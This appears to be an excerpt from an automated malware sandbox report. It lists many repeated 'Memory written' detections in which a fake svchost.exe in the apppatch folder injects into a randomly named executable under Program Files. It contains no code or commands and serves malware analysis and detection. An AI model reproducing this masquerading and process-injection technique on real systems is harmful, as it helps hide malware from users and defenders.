Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A02000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A54000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2714000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F10000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F11000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F64000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 21B0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 21B1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 21B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2204000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C80000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C81000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C82000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2CD4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B40000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B41000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B94000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AD0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AD1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AD2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B24000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3030000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3031000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3032000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3084000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2614000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2590000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2591000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2592000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25E4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2314000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E00000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E01000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E02000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E54000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2534000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 23B0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 23B1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 23B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2404000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2980000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2981000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2982000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29D4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 900000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 901000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 902000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 954000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B60000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B61000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B62000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2250000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2251000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2252000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22A4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27F4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2534000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2650000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2651000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2652000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26A4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B10000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B11000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B64000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AF0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AF1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B44000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2590000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2591000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2592000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25E4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29F4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7B0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7B1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 804000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F70000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F71000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F72000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2FC4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7C1000Jump to behavior
